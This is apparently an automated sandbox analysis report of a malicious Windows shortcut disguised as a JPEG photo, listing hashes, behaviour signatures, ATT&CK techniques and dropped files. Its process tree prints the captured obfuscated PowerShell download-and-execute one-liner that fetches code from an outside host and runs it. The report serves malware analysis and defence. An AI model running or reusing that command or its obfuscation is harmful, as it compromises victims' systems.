c41a15af4a6bde757c5ed3379c5f50a8170a1ed1b8e2be856a3cea0d418a594b

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 06:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_194048.jpg.lnk
Size 1KB
Sample260728-hf3ssadj4y
SHA256 c41a15af4a6bde757c5ed3379c5f50a8170a1ed1b8e2be856a3cea0d418a594b
MD5 444fbc003fc6541a82e8699671ccefd3
SHA1 4b975e1563385c6ac1161ea2821a3fcbdc1fe42a
SHA512 a854d79a09bf0433ec65dd6f044d7b87fb345d8b492ad995c5e545ca618b262f2a09f1cc749e2a155db634ea89509eec62f8b73c5783c42d4cc2cfe91f24702b
TLSH
T1F131C0299BF21229D6B78B795876631187317B0EDA4DCFDF0280D2949464120F879F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1048	powershell.exe
7	1048	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
796	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 1048	796	cmd.exe	90
PID 1048 wrote to memory of 3408	1048	powershell.exe	92
PID 3408 wrote to memory of 5628	3408	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_194048.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('res','stayn','o','n','s','ervph','h','op','otoi','w.')[0,5,8,3,1,2,9,4,6,7] -join $Wn9nfND) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9AEE.tmp" "c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\CSC55090AB36F54B37B0238745D922731.TMP"
      4⤵
      PID:5628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9AEE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9AEE.tmp
Size 1KB
SHA256 bb4e0b2a1767cc8bc2263569f03bcc148c9f3deecc6f1c66312c14414e1d4986
MD5 37c54e997b7557a2e8c696818e9cf5bd
SHA1 4c5280edc419bd525b3c99c4b95a251361b60881
SHA512 c03d66f4d200b97bcdf05a415638ede9a7c71d2411947a8b780570aa7f20f6f06b4ec16fabe6be12c37012e204f2aaa19fa6c6cbaff54948a2d6c27b0c0a465a
TLSH
T1E421AA0593E9472EF073473269F6576FA238FC549FA3975A954002282C41214EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

s5v3gdd0.dll

Path C:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.dll
Size 3KB
SHA256 7f6b6fcdb1d3ab324c98c1f30476d0a5b0d2ebe8d87d75a71a730278461a642e
MD5 2db2a50d1fd4b39fb9935697dc5d6503
SHA1 99aa3638a19d242969a09e128dda911589858a3e
SHA512 e2875e6ad945278d3670a3077e6ac0a3915f228b898956a12e578451bc261a7980b2a9844e0f5ae034e1149c3318d508e8fee1ed4aa4ec165972647a834f5a6d
TLSH
T17351DE1697E8466BE4770735AFF3475377B4FC508FB3576959800229AC20B145D31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC55090AB36F54B37B0238745D922731.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\CSC55090AB36F54B37B0238745D922731.TMP
Size 652B
SHA256 ecb9722743f429c793d90bfbb5d3e40330d45dc81386228ae233fe61d3b3c559
MD5 52d3cb6f022e5560e5cb098efbac9541
SHA1 8e1967288d233c024646a90d7bbf90277d348fa5
SHA512 7b35e065d43ff448c8d5c16acc0f2f4763828e72a4fa766a375a79ed84bb0531914bae375899c94f7fa86cb5ecfca83935b3edc56a9781116dde97ce518bdfd0
TLSH
T1E0F03A0963F8420EF0F74B30B9F6436391A8BC65DE3393ED654003692C646208962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

s5v3gdd0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

s5v3gdd0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\s5v3gdd0\s5v3gdd0.cmdline
Size 369B
SHA256 ff48b441746d6e649cfa6d8f13d50cdc5f2515420dfa1b664d4269137f1588f4
MD5 76fe3e709367dbe18b22961b2dfb594c
SHA1 ea2ca93a40c2180ecce0825fc992e9355cfddcff
SHA512 7c4625c41604441c559b8b1f4d5a08c5e9b20df1a1b0026ce436b9b77e861266f7a7f63c27e57639dfc68bcb90d812e2aa1d20300a1a78118478ef6b688142c0
TLSH
T168E0682F4247C27E03EA541725A9F4BDE2720A432F417F84E850844DE21710027E1752
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1048-10-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-9-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-11-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-12-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-13-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-14-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-15-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-16-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-18-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-17-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-19-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-2-0x00007FFD1E61F000-0x00007FFD1E620000-memory.dmp

Download

memory/1048-8-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-7-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-32-0x0000025B422A0000-0x0000025B422A8000-memory.dmp

Download

memory/1048-6-0x0000025B422B0000-0x0000025B422D2000-memory.dmp

Download

memory/1048-5-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-33-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-34-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-35-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download

memory/1048-36-0x00007FFD1E490000-0x00007FFD1EE34000-memory.dmp

Download